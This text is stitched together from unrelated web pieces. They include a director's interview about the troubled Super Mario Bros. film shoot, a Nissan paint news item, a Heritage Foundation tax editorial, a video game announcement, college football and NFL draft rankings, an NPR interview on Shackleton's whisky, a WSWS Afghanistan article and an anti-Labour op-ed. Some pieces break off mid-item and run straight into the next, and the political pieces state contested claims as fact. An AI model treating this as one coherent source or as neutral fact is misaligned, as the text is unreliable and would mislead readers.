Well, Danny De Vito turned us down. Mario was the main character in the cast, and Bob was available. It was basically about availability. There are all these stories about the way people are cast but it’s normally about availability… Then we saw lots of different Luigis and John stood out because of his comic timing, his ability to be real but also be funny at the same time. Bob had that ability too. We wanted it to have a reality to it, especially the relationship, and we wanted it to be funny but not just a series of gags. We didn’t want it to be a broad comedy – although some of it clearly is a broad comedy – but the original script wasn’t like the final script. The original script was written by Dick Clement and Ian La Frenais, and it was much more of a family film that appealed to adults as well as kids. It was more sophisticated and the story of the two brothers was a lot stronger.
But it was an independent film and the producers needed more money and a studio behind them, and the studios rejected the script because they thought it was too dark. That threw them into complete panic, and instead of sticking with the script that Annabel and I wrote with Dick and Ian, they threw it out and told us to work with a new writer. The new writer wrote it in about a week and a half and then we were presented with the script. That was about a week before the start of principle photography. We were given a script that was completely different, and Annabel and I almost walked off the film at that point. The problem was that they’d build all the sets and created the prosthetics, and the cast was together and they’d found this great place to shoot it… We really thought we’d end up walking, but we decided to try to make the new script work as we were shooting.
Did you get much say in changing the script while you were shooting?
We had to, yeah. One day, we’d be on set and the actor would pick up the crystal but it wouldn’t work with the continuity. Someone would say, ‘You can’t pick that crystal up because we’re shooting out of sequence. If you look on page 24 the crystal is actually here.’ And we’d think, oh god, yeah, it’s a mistake! So someone had to say to all the actors, ‘Okay, we’re going to relight the set but it will take a while. Go back to the trailers while we relight the set.’ It was like that every day.
With everything that kept going wrong, was it a tough experience?
Tough? That’s a very mild word. It was a harrowing experience. I mean, we had five units working every day… We had this enormous set that was built with not enough money to light it… I’d ask for a crane to put the camera on, you know, because we’re making a movie, and there wasn’t any money for a crane for a movie that size! [Laughs] Stuff like that was happening all the time. It was hell.
Was it a really stressful set with people panicking all the time?
Yeah, because Dick Clement and Ian La Frenais’ script was the script that Annabel and I wanted to make. It was a different script, and the actors were all brought onboard for that script, and then it was completely changed. I had to stand by with the new script, obviously, and tell them that it was great when I knew it wasn’t. They were all saying, ‘Where’s the original script? Where’s the one we liked?’ and we’d have to tell them it’s all new, it’s all new and different now. So everybody was angsty and uppity, and the whole thing was thrown into turmoil because of that one decision.
Dennis Hopper is quite notorious for being difficult to work with. Did you find that too?
Again, ‘quite’. The word is ‘extremely’. That was really, really hard. Really hard. I don’t think he had a clue what was going on. There was one particular incident; we had to shoot out of sequence because of the script changes, and we had to shoot on one of the sets that wasn’t ready yet, and we had to shoot on a long lens. I had to position Dennis in a certain way because if I shot off, I would be shooting off the set, so I had to change his position and he said, ‘Rocky, that’s a big change!’ and I said, ‘All I want you to do is instead of walking here I want you to walk there,’ and because of the whole mess he just couldn’t handle it. I said, ‘Yeah, but we’re shooting off the set if you walk that way.’ It was stuff like that. On and on. It was mind-blowing.
Is it nice to see the film still being discuss, especially as it’s now out on Blu-ray?
I’m proud of the achievement in the face of what Annabel and I had to go through to make that film. The thing that I’m most proud of is the originality of it, because that all came from our head. You know, we created all those characters—I mean, obviously the characters were created for the video game, but we brought all those to life and we created that world. So I’m proud of that, and I think it was an achievement, but it’s a messy film. It’s a big mess. You can’t rewrite a script for a film that big and go into production in a week without it being a mess. But we did the best we could with what we had. And then we tried to edit it together at the end to make more sense of the mess, and we were locked out of the edit room. We had to get the Directors’ Guild of America to open the edit room for us. We were only in there for a week and then they locked it again, so there wasn’t enough time really to pull it all together. Annabel and I were the only ones that knew the story inside out and we were trying to edit it a certain way, but it wasn’t possible.
You can buy Super Mario Bros.: The Motion Picture on Blu-ray for £11 from Amazon.co.uk. Get all the latest sci-fi news with every issue of SciFiNow.Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
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This video unveils Nissan's new'self-cleaning car'.
Special nano-paint technology is claimed to repel dirt before it sticks on a vehicle's paintwork.
The Japanese car giant predict that their new-fangled paint could make the time-consuming and costly task of a car wash obsolete.
In a clip uploaded to YouTube half a Nissan Note is shown being sprayed with the sophisticated new paint job.
Then when it is subjected to everyday wear and tear, half of the car seems to repel the dirt as if by magic.
"Washing a car can be a chore - and a costly one at that," the company's description reads.
"In response, Nissan has begun tests on innovative paint technology that repels mud, rain and everyday dirt, meaning drivers may never have to clean their car again".
But at an expected £450 for a coat of paint it doesn't like being the cheapest option in the short-term.Any piece of legislation must be both constitutional and improve the condition of the American people. When President Obama and Congressional Republicans first announced their tax deal early last week, our reaction was to hold our noses against its bad elements; on balance, we thought the extension of the current tax rates was laudable. Now, however, the full text of the bill has been released and we see all the bad things that were in the original deal. Meanwhile, liberals in Congress are walking away even from that deal, and are holding the country hostage to their hatred of those they call “the rich.” The tax cut deal, we now know, has been so freighted with liberal special interest tax giveaways that true conservatives cannot support it in good faith.
The blame for this state of affairs will be on the left. Tax rates will go up on all Americans on Jan. 1, hitting a country beset with 10 percent unemployment and a stagnant economy. It’s baffling that, two decades after the fall of the Berlin Wall, the left has held fast to its belief that penalizing success will somehow incentivize hard work and produce wealth.
If House Speaker Nancy Pelosi and Senate Majority leader Harry Reid engineer this massive a tax increase in a faltering economy, they will join two Republicans — Reed Smoot of Utah and Willis Hawley of Oregon — in the pantheon of economic fools. Before they do so, Ms. Pelosi and Mr. Reid should consider that history has still not forgiven their predecessors for the Smoot-Hawley tariff that led to the Great Depression.
Of course, the pain of an Obama-Pelosi-Reid tax hike would be somewhat lessened by the fact that they would hopefully be temporary. As Rep. Paul Ryan (R-WI) said on Fox News Sunday yesterday, the first order of business next month for the incoming Tea Party House of Representatives will be to undo the tax hikes the Lame Duck Congress may be about to pass this week. (We would have preferred to have seen that first order of business to be the repeal of Obamacare, but given the circumstances, throttling that unbearable act must move to the second spot.)
We recognize that having taxes go up, and then down, will increase volatility, which never helps businesses, investors and families. It was that concern that led us to be initially open to the extension of the current tax rates, even though it was only for two years and was accompanied by other onerous measures such as a 35 percent death tax. All along we have shared the concerns of such friends as Sen. Jim DeMint (R-SC), who said in a Thursday speech at Heritage that the line “this is the best deal we can get” has been used to justify too many bad deals in the past.
Now that we see what is in the full text of the bill, we have serious reservations even about the original deal. So just to be clear, what The Heritage Foundation wants is a plain extension of the current tax arrangements. Congress should have a straight up or down vote on full extension, including the AMT. It can have a straight up and down vote on the unpaid for unemployment benefits, too, if progressives want that.
If this cannot be had without other hurtful additions, it is time to look forward. The new 112th Congress will have to pass new tax legislation that holds the line against all the other negative provisions of the current deal, such as yet another unpaid-for extension of unemployment benefits (which perversely only helps perpetuates long-term unemployment).
Ditto for all the goodies progressives in the Congress are now busily adding, such as subsidies for windmills in California (already in the tax extenders – or you need to say even larger ethanol subsidies). All this came on the back of the extension of stimulus tax credits, which expanded the refundability of the Earned Income Tax Credit and the Child Tax Credit, and created the new refundable American Opportunity Tax Credit.
And, to be sure, including goodies for the whole liberal power base that were already there as part of the annual tax extenders package: the Indian employment tax credit; the railroad track maintenance credit; the seven-year recovery period for motorsports entertainment complexes; the expensing of environmental remediation costs; the deduction allowable with respect to income attributable to domestic production activities in Puerto Rico and the tax incentives for investment in the District of Columbia.
Is there a progressive protected group that hasn’t been laden with pork in this deal?
The new Congress that assembles in January should give enactment of the permanent tax relief top priority. The recently elected conservatives, who will arrive in January with a commitment to cut spending, deficits, debt and taxes, should provide the foundation for building momentum in Congress to make the tax relief permanent. But, of course, in the absence of tax relief, the Pelosi-Reid tax hikes will be in effect, doing their damage to the economy, while the conservatives work to get legislation through Congress to make the tax cuts permanent.
Do they hate successful Americans more than they profess to love the jobless and others who need our help?
You can follow Mike Gonzalez on Twitter @Gundisalvus
Quick Hits:Hey everyone, this is Alfonso del Cerro, developer of Pentadimensional Games. I’m super excited to announce, with new trailer and all, that Megaton Rainfall will be released on September 26th!
What? You don’t know what Megaton Rainfall is? Well:
Megaton: Explosive force equal to 4184 petajoules.
Rainfall: Precipitation in the form of raindrops.
…oh, you just want to know what is the game about?
Megaton Rainfall fills the market gap of “games that let you control an indestructible superbeing who can fly at supersonic speeds across the Earth facing a global alien invasion and preventing the destruction of one city after another.”
Yes, at the beginning of the game you can only roam the Earth, from the bottom of the ocean to the stratosphere, looking for threats.
Later, this freedom of movement will increase, letting you fly to the Moon or walk across the surface of the Sun — not quite a standard in the FPS genre.
This sense of freedom has been one of our major goals during production, as well as the sense of scale of the landscapes, which really shine in VR mode. Yes, you can optionally play the full experience in PlayStation VR. With it, flying around an alien mothership several kilometers in size conveys a remarkable sense of scale and danger.
These giant motherships, however, may not be as dangerous as the smaller enemy vessels. Imagine chasing a small, quick enemy ship between skyscrapers, painfully aware that every time you miss your target means a few more human casualties. In contrast to other games, bigger doesn’t mean more difficult.
It can be even worse if you can’t see your enemy at all. Like when a group of coordinated morphers take the form of buildings, and suddenly you can’t distinguish them any more. Is your visual memory good? It can save lives!
As you can see, in Megaton Rainfall the biggest menace for the humans is often yourself. Each new superpower you gain has a dark side you must avoid. Your basic shot destroys entire buildings every time you miss your target. Your telekinesis can prevent enemy grenades from damaging the humans, but it can also send vehicles careening down the street. The gigaton blast can destroy an enemy mothership… or the entire city. And you don’t want to do the aliens’ job.
That’s why you have to use your abilities carefully! If you don’t, your position on the leaderboards (based on time and human casualties (less is better)) will suffer.
Developing a game this complex has been the toughest task I have ever undertaken, and I’ve always wanted the finest quality possible. That’s why we have delayed the launch several times and the team (that was only me in my free time back in 2012) has grown quite a bit. Four artists created the enemy ships and city landmarks. Also, the music has been redone by the talented David Garcia (Rime, Hellblade) and it’s now embarrassingly better than before (if in doubt, just compare the new and old trailers).
On top of that, PS4 Pro owners can look forward to enjoying the enormous landscapes in full 4K resolution of 3840 x 2160. And no matter the way you play (2D, VR, Pro, Pro+VR) the frame rate targets a silky smooth 60 FPS.
I think those are enough announcements for now. Thanks for reading about our project — we are looking forward to all of you playing the game.
See you around Earth… and beyond!The social media movement #Pac12AfterDark, which began as a Twitter alert for wildly entertaining or surprising games in the Pac-12 Conference, has taken on a new life in the 2015 season.
Pac-12 Networks president Lydia Murphy-Stephans gave the hashtag a shout-out at Pac-12 media days in July, crediting it for unprecedented attention on the conference's football.
#Pac12AfterDark isn't relegated to nighttime. It's a state of mind that embodies the league's penchant for unpredictability. The conference's best games of the 2015 season's first half, regardless of kickoff time, were quintessential #Pac12AfterDark.
Related: 10 Best College Football Games of the Season So Far
10. Stanford 41, USC 31 – Sept. 19
Left for dead after a 16-6 Week 1 at Northwestern, Stanford's return to Pac-12 prominence began with this dominant Week 3 performance at rival USC.
Quarterback Kevin Hogan called it the Cardinal getting back to “Stanford football” — in other words, a physical style owned on both lines.
The Cardinal had to rally from two separate deficits, bridging one just before halftime on head coach David Shaw's gutsy decision to attack the end zone in the final seconds.
9. Cal 34, Washington State 28 – Oct. 3
A first-down run on 3rd-and-36 in the fourth quarter helped Cal ice its come-from-behind win over Washington State, and running back Vic Enwere's play perfectly captures this game's essence.
It was a topsy-turvy contest, beginning with Washington State's two-score lead early and Cal's subsequent rally. Jared Goff added to his growing Golden Bear legacy with four touchdown passes to power Cal to a key victory for early Pac-12 North positioning.
8. Michigan State 31, Oregon 28 – Sept. 12
Some of the shine has come off this one, arguably the most anticipated non-conference game of the 2015 slate entering the season. But while Oregon's tumble from atop the national stage removes the College Football Playoff implications so many expected of this one, the game itself lived up to the billed intensity.
Michigan State's vaunted defense snuffed Oregon at the goal line, a play that proved instrumental in the Spartans' win.
Ducks quarterback Vernon Adams nearly engineered a winning drive, which would have carved a special place in Oregon football history for the FCS transfer — in large part because he was playing with a broken finger on his throwing hand.
7. Utah 24, Michigan 17 – Sept. 3
Utah's rise from relative obscurity to the thick of the College Football Playoff hunt began Week 1. The Utes spoiled the debut of Michigan head coach Jim Harbaugh, who would otherwise be unbeaten were it not for a botched punt this past weekend.
While Utah held on for a seven-point win, its performance was much more commanding. A Gionni Paul personal foul set up Michigan's first score of the night, nearly midway into the fourth quarter.
That imposing defensive effort foreshadowed the season to come for these still-unbeaten Utes.
6. Utah 34, Arizona State 18 – Oct. 17
In much the same fashion, the final score of Utah's Week 1 win over Michigan doesn't convey how dominant the Utes were, a 16-point win against Arizona State fails to accurately portray how close the Sun Devils were to pulling off an upset.
A rain-soaked Saturday night in Salt Lake City provided the weirdness for #Pac12AfterDark. Arizona State, already sporting a road upset in conference play and owner of a 12-game win streak against Utah, used aggressive defense and explosive special teams play to put a fright into the Utes.
Utah had a cumulative rushing output of -21 yards when Heisman Trophy candidate running back Devontae Booker broke the game open with the first of two, fourth-quarter touchdowns.
5. Cal 45
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Jackson (seventh round), DL Cliff Matthews (seventh round).
Analysis: The Falcons were super aggressive and were able to fill a huge void at receiver after trading up for Jones. And Dent and Rodgers should contribute quite a bit as rookies.
Carolina Panthers: B-
Draft picks: QB Cam Newton (first round), DL Terrell McClain (third round), DT Sione Fua (third round), CB Brandon Hogan (fourth round), WR Kealoha Pilares (fifth round), LB Lawrence Wilson (sixth round), OL Zach Williams (sixth round), OT Lee Ziemba (seventh round).
Analysis: Newton has a long way to go before he’s ready to play, but a strong running game will help him. The Panthers failed to add badly needed pass rushers and speed at wide receiver.
Chicago Bears: B
Draft picks: OT Gabe Carimi (first round), DT Stephen Paea (second round), S Chris Conte (third round), QB Nathan Enderle (fifth round), LB J.T. Thomas (sixth round).
Analysis: The first three players should challenge for a starting job. In fact, it would be a small upset if they didn’t line up with the first team in the fall.
Dallas Cowboys: C+
Draft picks: OT Tyron Smith (first round), LB Bruce Carter (second round), RB DeMarco Murray (third round), OL David Arkin (fourth round), CB Josh Thomas (fifth round), WR Dwayne Harris (sixth round), FB Shaun Chapas (seventh round), C Bill Nagy (seventh round).
Analysis: The Cowboys might have gotten a steal with Carter in the second round. He’s still coming back from ACL surgery, but should help the team more in his second season. They failed to address their weaknesses at safety and cornerback.
Detroit Lions: A-
Draft picks: DT Nick Fairley (first round), WR Titus Young (second round), RB Mikel Leshoure (second round), LB Doug Hogue (fifth round), OT Johnny Culbreath (seventh round).
Analysis: The Lions made good use of their top-three selections. Fairley and Leshoure could start as rookies and Young gives them the badly needed speed they have been looking for at wide receiver.
Green Bay Packers: A-
Draft picks: OT Derek Sherrod (first round), WR Randall Cobb (second round), RB Alex Green (third round), CB Davon House (fourth round), TE D.J. Williams (fifth round), OL Caleb Schlauderaff (sixth round), LB D.J. Smith, (sixth round), LB Ricky Elmore (sixth round), TE Ryan Taylor (seventh round), DT Lawrence Guy (seventh round).
Analysis: General manager Ted Thompson is the best at what he does because he always drafts for value. He got at least three future starters out of this draft despite drafting in back of every round.
Minnesota Vikings: C+
Draft picks: QB Christian Ponder (first round), TE Kyle Rudolph (second round), DL Christian Ballard (fourth round), CB Brandon Burton (fifth round), OT Demarcus Love (sixth round), DB Mistral Raymond (sixth round), C Brandon Fusco (sixth round), LB Ross Homan (sixth round), DL D’Aundre Reed (seventh round), WR Stephen Burton (seventh round).
Analysis: The Vikings failed to address their weak offensive line until the sixth round, which was a big mistake. They will have to look toward free agency to improve in that area on offense.
New Orleans Saints: B+
Draft picks: DE Cameron Jordan (first round), RB Mark Ingram (first round), LB Martez Wilson (third round), CB Johnny Patrick (third round), DE Greg Romeus (seventh round), LB Nate Bussey (seventh round).
Analysis: Jordan should prove to be a steal where they wound up getting him in the first round. The Saints also did a nice job of drafting for value.
New York Giants: B
Draft picks: CB Prince Amukamara (first round), DT Marvin Austin (second round), WR Jerrel Jernigan (third round), OT James Brewer (fourth round), LB Greg Jones (sixth round), S Tyler Sash (sixth round), LB Jacquian Williams (sixth round), RB Da’Rel Scott (seventh round).
Analysis: While fans complained that the Giants didn’t need another cornerback, Amukamara was a great value where they got him. And Austin and Jernigan should contribute right away.
Philadelphia Eagles: B-
Draft picks: G Danny Watkins (first round), S Jaiquawn Jarrett (second round), CB Curtis Marsh (third round), LB Casey Matthews (fourth round), K Alex Henery (fourth round), RB Dion Lewis (fifth round), OL Julian Vandervelde (fifth round), C Jason Kelce (sixth round), LB Brian Rolle (sixth round), LB Greg Lloyd (seventh round), FB Stanley Havili (seventh round).
Analysis: The Eagles were able to secure at least three future starters with their first three selections. However, selecting a kicker in the fourth round is a bit questionable.
San Francisco 49ers: C+
Draft picks: DE Aldon Smith (first round), QB Colin Kaepernick (second round), CB Chris Culliver (third round), RB Kendall Hunter (fourth round), OL Daniel Kilgore (fifth round), WR Ronald Johnson (sixth round), S Colin Jones (sixth round), DL Bruce Miller (seventh round), OL Michael Person (seventh round), DB Curtis Holcomb (seventh round).
Analysis: Smith, according to personnel sources, is a questionable fit for a 3-4 defense. It may take him awhile to make the transition to outside linebacker. Kaepernick may wind up being the best player out of their draft class, but down the road.
Seattle Seahawks: D
Draft picks: OT James Carpenter (first round), G John Moffitt (third round), LB K.J. Wright (fourth round), WR Kris Durham (fourth round), CB Richard Sherman (fifth round), FS Mark LeGree (fifth round), DB Byron Maxwell (sixth round), DL Lazarius Levingston (seventh round), LB Malcolm Smith (seventh round).
Analysis: No team reached for players as badly as the Seahawks. While they selected a few good players early on, Seattle picked them before many personnel evaluators felt they should have gone off the board.
St. Louis Rams: B
Draft picks: DE Robert Quinn (first round), TE Lance Kendricks (second round), WR Austin Pettis (third round), WR Greg Salas (fourth round), DB Jermale Hines (fifth round), DB Mikail Baker (seventh round), LB Jabara Williams (seventh round), DB Jonathan Nelson (seventh round).
Analysis: The Rams appear to have put together another solid draft class. General manager Billy Devaney does a really nice job of drafting for value.
Tampa Bay Buccaneers: C+
Draft picks: DE Adrian Clayborn (first round), DE Da’Quan Bowers (second round), LB Mason Foster (third round), TE Luke Stocker (fourth round), S Ahmad Black (fifth round), RB Allen Bradford (sixth round), DB Anthony Gaitor (seventh round), TE Daniel Hardy (seventh round).
Analysis: The Buccaneers addressed their weakness at defensive end, but both Clayborn and Bowers have medical issues. Both players are good values at the point where they were selected, but they also have a lot to prove. Black could be a steal in the fifth round.
Washington Redskins: B
Draft picks: DE Ryan Kerrigan (first round), DT Jarvis Jenkins (second round), WR Leonard Hankerson (third round), RB Roy Helu (fourth round), S Dejon Gomes (fifth round),WR Niles Paul (fifth round), RB Evan Royster (sixth round), WR Aldrick Robinson (sixth round), DB Brandyn Thompson (seventh round), OL Maurice Hurt (seventh round), DE Markus White (seventh round), DT Chris Neild (seventh round).
Analysis: The Redskins added a lot of selections as the draft progressed, and they made the most out of them by addressing several needs. The big issue, however, is whether Kerrigan can make an impact on defense by playing standing up at outside linebacker.I’m skeptical that this persuasion stuff works on anyone who is remotely competent, such as gatekeepers and employers. It’s all flimsy social pop pseudoscience, much like Daniel Kahneman and Dan Ariely books that tell a message that people want to read despite the actual science being lacking, fabricated, or nonexistent.
Of the six items on the list, authority, consistency, and social proof are the ones that matter, but obtaining those requires a lot of competence. Or you can use shills, but that’s dishonest. Reciprocation often does not work in situations where there is a great disparity of power between both parties.
Yes, these persuasion techniques may work on people with room temperature IQs, or if you want to be a used car salesman, but to persuade and influence people who actually matter (gatekeepers, employers for good-paying jobs, journal editors, etc.), you have to demonstrate extreme competence. There are no shortcuts or ‘life hacks’. Persuasion, as well as influencing important people, ultimately requires proving your worth, by being competent, as I explain in more detail in Why Dale Carnegie is Wrong.
Suspicions of the social sciences being flimsy (with the exceptions of certain quantitative fields of finance, as well as the study of IQ) were affirmed in recent misconduct scandals (Diederik Stapel, Marc Hauser), as part of the ‘replication crisis‘ that is rippling through the field of behavioral psychology right now:
This isn’t the first time that an idea in psychology has been challenged—not by a long shot. A “reproducibility crisis” in psychology, and in many other fields, has now been well-established. A study out last summer tried to replicate 100 psychology experiments one-for-one and found that just 40 percent of those replications were successful. A critique of that study just appeared last week, claiming that the original authors made statistical errors—but that critique has itself been attacked for misconstruing facts, ignoring evidence, and indulging in some wishful thinking.
Bad ideas are infectious because they often tell people want they want to believe, not what is true.Shackleton's Whisky Is Returning From Antarctic
A team of New Zealand conservators is planning to unearth two crates of Scotch whisky belonging to polar explorer Ernest Shackleton. The crates have been trapped under the Antarctic ice for a century. Host Liane Hansen speaks with Alistair Fastier, of the New Zealand Antarctic Heritage Trust, who will be leading the expedition.
LIANE HANSEN, host:
Care for some whisky on the rocks? A team of New Zealand conservators is planning to unearth two crates of Scotch whisky belonging to polar explorer Ernest Shackleton. The crates have been trapped under the Antarctic ice for a century.
Alistair Fastier of New Zealand Antarctic Heritage Trust will lead the expedition. He joins us on the phone from Christchurch, New Zealand. Welcome to the program.
Mr. ALISTAIR FASTIER (New Zealand Antarctic Heritage Trust): And good morning.
HANSEN: So, you were on the team that discovered, what, 100-year-old whisky in 2006. Were you looking for it?
Mr. FASTIER: No, we weren't looking for it. There was a great surprise to the team. What we were doing was part of a conservation work to conserve Shackleton's hut. We were removing the ice under the floorboards. And while we were under the hut chipping the ice, we came across the whisky. So, we were very pleasantly surprised and excited.
HANSEN: Wow. So, what did you have to do to get the whisky out of the ice?
Mr. FASTIER: We haven't yet. Basically, the crates of whisky are still under the hut. And we have to go back under the hut and separate the crates from the frozen permafrost and to remove the rest of the ice from around them and then slide them out.
HANSEN: How long do you think it's going to take?
Mr. FASTIER: If we're really lucky and all the stars are aligned, I might say it would take about two days. But, yeah, it could take up to a week. And the safety of the whisky is paramount. So, we won't rush the operation.
HANSEN: Now, you want to preserve the whisky. Will you be able to taste any of it?
Mr. FASTIER: It'd be nice to think that we could, but with sort of heritage protocols, no, we can't. But the first step will be to remove the whisky from under the hut and then we've got a team of professional conservators on hand. And they will assess the crates and the bottles. And then we'll make an informed decision where to go from there, and where we will store and locate it.
HANSEN: Now, I understand that Whyte and Mackay, a drinks group that now owns McKinlay and Company, they're interested in this whisky.
Mr. FASTIER: Yeah, they're also very excited about it. And my understanding is they're very keen to get a sample back and also potentially blend a similar type of whisky in the future. So, there's lots of potential.
HANSEN: I understand, I mean, I can tell your passion for the conservation, but your eyes must've opened pretty wide when you discovered that there was booze under there.
Mr. FASTIER: Very much so. It wasn't a good task to actually go under the hut to remove the ice, so when we found the whisky, everybody was just so keen to get under the hut. So, yeah, no, we're...
(Soundbite of laughter)
Mr. FASTIER: We're very excited. And I must say I'm looking forward to going down and completing the task this year.
HANSEN: Alistair Fastier is with the conservation group the New Zealand Antarctic Heritage Trust and he joined us on the phone. Thank you very much. Good luck.
Mr. FASTIER: Thank you. It was a pleasure. Cheers.
Copyright © 2009 NPR. All rights reserved. Visit our website terms of use and permissions pages at www.npr.org for further information.
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By Bill Van Auken
22 September 2010
The death of nine American soldiers in a helicopter crash Tuesday in southern Afghanistan has made 2010 the deadliest year yet for the US-led occupation forces.
The International Security Assistance Force (ISAF), the NATO umbrella for the occupation of Afghanistan, issued a statement declaring, “The cause of the crash is under investigation.” It added, “There are no reports of enemy fire in the area.”
A spokesman for the Taliban, Yousuf Ahmadi, however, claimed that its fighters had brought the helicopter down.
The crash took place in the Diachopan district of Zabul province, according to Muhammad Jan Rasoolyar, a spokesman for the provincial governor. Zabul borders Kandahar province, the center of an ongoing US military offensive, to the west and Pakistan to the south. It has long been a center of resistance to foreign occupation.
While the ISAF withheld the nationalities of the troops pending notification of their families, officials speaking on condition of anonymity reported that all of the dead were Americans.
The deaths bring to 530 the number of US, NATO and other occupation troops killed since the beginning of this year, according to the web site icasualties.org, which tracks casualty reports. With more than three months of the year left to go, this already surpasses the 517 fatalities in 2009.
The death toll for US troops had already surged past the total 2009 figure by the end of last month. Thus far, 351 US troops have died in Afghanistan this year, compared to 317 for all of 2009.
The latest casualties bring to 2,098 the number of American and other foreign occupation troops killed in Afghanistan since the US invasion of the country in October 2001.
Tuesday’s helicopter crash was the deadliest for the US military since May 2006, when ten American soldiers were killed in a helicopter crash during combat operations at a mountaintop landing zone in eastern Kunar province.
Helicopter crashes, resulting in some cases from mechanical failure and in others from hostile fire from the Afghan resistance, have been a recurrent cause of casualties in Afghanistan. The US-led occupation forces rely heavily on the aircraft for movement, given the inability to establish reliable control over the country’s roadways, where military convoys are subject to attack.
Ground fire from armed fighters resisting the occupation brought down a Canadian helicopter in Kandahar province last month, injuring eight soldiers. Last June, a copter was brought down by hostile fire in Helmand province, killing four Western occupation troops. In the deadliest such incident, 16 US soldiers were killed when a Taliban rocket struck a Chinook transport helicopter in Kunar province in June 2005.
The latest spike in casualties has occurred as all of the 30,000 US troops that the Obama administration ordered to Afghanistan as part of its “surge” are on the ground, bringing the total occupation force to nearly 150,000, with American troops making up two thirds of that total.
Many of the additional 30,000 US troops have been massed in Kandahar, the southern Afghanistan province which is considered a Taliban stronghold. The occupation forces have been carrying out “clear and hold” operations in the Argandhab Valley, a key entry-way into the city, and in the neighboring farming districts of Zhari and Panjwayi, west of Kandahar.
Pentagon officials and the military’s uniformed brass are attempting to diminish expectations as to the strategic impact of the new offensive. In part, this is driven by the failure of its last offensive, carried out earlier this year in Helmand province’s Marjah district, to quell Afghan resistance or bring stability to the area. The Pentagon had touted the operation as a key turning point in the war.
More fundamentally, however, the military is anxious to dispel any illusions that Washington will make good on the pledge made last December by President Barack Obama to begin withdrawing US troops from Afghanistan in July 2011.
Officials quoted by the Wall Street Journal Tuesday dismissed any expectation that a strategy review that the Obama administration is set to carry out in December will produce any significant change in US operations in Afghanistan.
“Frankly, the way the situation is today, you are not going to see a big difference by December,” a senior US military official told the Journal.
“Obama administration officials are themselves lowering expectations for the December review, saying the evaluation will likely result in fine-tuning rather than dramatic change,” the newspaper reported. “Defense officials also now say they believe the December review won’t result in significant decisions about how many troops to withdraw in the following year.”
The Journal reported that military officials are “managing expectations of the drawdown of troops in July 2011.”
“While many in the military say they believe the administration will want to see a significant number of forces begin to withdraw in July, military officials said they aren’t planning to withdraw entire battalions or brigades,” the newspaper reported. Instead, it continued, “the drawdown will focus on ‘thinning out’ front-line troops, sending home small company-size units.”
Officials told the Journal that if the US military is able to hand over control of some of the less embattled regions of the country to Afghan security forces, American troops there will be redeployed to the strongholds of the resistance in the south and east of the country.
“We want to reinvest transition dividends to improve security,” one senior official told the Journal. “We can take some of those resources, instead of sending them home, you reinvest them in Kandahar, you up-gun where you still have issues.”
Along similar lines, Brig. Gen. Frederick “Ben” Hodges, the deputy coalition commander in southern Afghanistan, stressed to the Washington Post that the Obama administration’s supposed deadline for beginning a troop withdrawal could not be allowed to interfere with assuring Afghans that the US occupation will continue indefinitely. “When they are confident we’re staying, then they’ll help,” he told the Post. “But if they’re not sure, then they will sit on their hands.”
The Pentagon’s own American Forces Press Service quoted an Army colonel commanding US forces in the north of the country as telling Pentagon reporters via a video news conference from Afghanistan that “Troop numbers there will remain at the current level, with no expectation for a mission change or withdrawal in the near future.”
Col. Sean Mulholland, deputy commander of Regional Command North, was quoted as describing Obama’s July 2011 deadline as merely “the date in which leaders and policy makers will begin to discuss transition.”
“I don’t see any kind of drastic drawdowns forthcoming in the next few years,” Mulholland said. “It’s going to have to be a timed, phased withdrawal, obviously taking security into account.”
What these statements make clear is that the military has determined that the Afghanistan occupation must go on for years to come. Just as it rubber-stamped the generals’ demand for a 30,000-troop surge, the Obama administration is prepared to continue the US war indefinitely, with the inevitable result of thousands more US troops and tens of thousands of Afghan civilians killed and wounded.
The July 2011 deadline announced by Obama at the end of last year has already been exposed as mere window-dressing for the administration’s sustained military escalation, designed to temporarily divert the overwhelming popular opposition to the war within the US itself.Labour: The Party that hates Britain Milton
When the Daily Mail brought out its article attacking Ralph Miliband as a man who hated Britain they probably hoped to tar Ed Miliband with the same brush, especially after he admitted that he was aiming to bring socialism back to Britain. While the debate rages on as to whether Ralph Miliband did hate Britain, or was just one of the Cold War’s bad guys, what surprised me was the need for the Daily Mail to look back to dead people who gave philosophical underpinnings for a brutal regime that brought with it gulags, starvation and purges as an attempt to label Labourites as those who hate Britain; after all their record in Government makes the argument far better.
Ed Miliband has attempted to make political capital in recent weeks of his pledge to freeze energy prices, slightly ignoring the fact that prices became high under the Labour Government of which he himself held the role of Secretary of State for Energy and Climate change. Energy prices rose as much as 133% under Labour. Miliband cynically ignored the fact that profits of energy companies make up only 3-4% of the price of energy, far less than the tax and cost of renewables targets that make up the bulk of your energy bill. While in office, Miliband and Labour pursued an ideologically driven crusade against the British people, crippling the poorest in society with enormous heating bills in what can only be seen as a shameless attack on the worst off.
Labour’s disgusting assault on the most vulnerable in society did not end at eye watering energy prices. While hypocritically arguing itself to be the Party of the NHS, Labour’s record in office speaks volumes. Labour did not only ignore over 60 complaints over the Mid Staffs hospital which treated patients appallingly but Andy Burnham put politics before people’s very lives, covering up watchdog reports of death and neglect at one hospital so it couldn’t hinder their election chances. Labour have treated the NHS and the people who use it with contempt and shocking disrespect. With such actions in their time in office the Labour party should never be trusted with the NHS.
Staying with vulnerable people, Labour’s approach to education was shocking. Setting aside the blatant lies over the promises not to bring in top up fees, and then doing so, Labour pumped billions of pounds into education, yet spent money to get the appearance of progress rather than progress itself. To add further hypocrisy to the mix, when Michael Gove finally started bringing in Free Schools to turn around Britain’s failing education system, Labour MPs viciously attacked them, yet were happy to compliment them locally when they were built in their own constituencies.
Labour’s mistreatment of the British people extends to their gut wrenching treatment of our armed forces and their families. Lying and misleading Parliament and the country to send our troops off to die in pointless foreign wars. While Labour may call to make insulting troops a crime, their actions were the gravest insult of all. Indeed some of the biggest figures like Alistair Campbell and John Prescott who have been gleefully using the Daily Mail’s story about Ralph Miliband to their own ends were also gleefully using dodgy dossiers to launch an invasion that left 179 British troops and over 1 million Iraqi civilians dead. Such was their zeal and desperation to go to war that they may have pushed the innocent Dr David Kelly into suicide over his views on WMDs.
In fact Labour’s contempt for the British people extends to all sections, not just the vulnerable, the poor and the armed forces. While they banned fox hunting, ignoring the hundreds of thousands who marched for it (as they probably all voted Tory) they were more than happy to crush the lives and wallets of the very working classes they claimed to represent, unashamedly raising taxes on alcohol and cigarettes that disproportionately hit the very poorest in society. Such was Labour’s ideological mission to make people behave in the ‘right’ way that they totally ignored the very real human cost of their policies. So too their war on the young people, the biggest strike of course coming when they introduced the minimum wage, which research has shown to negatively effects the earnings and experience levels of the young.
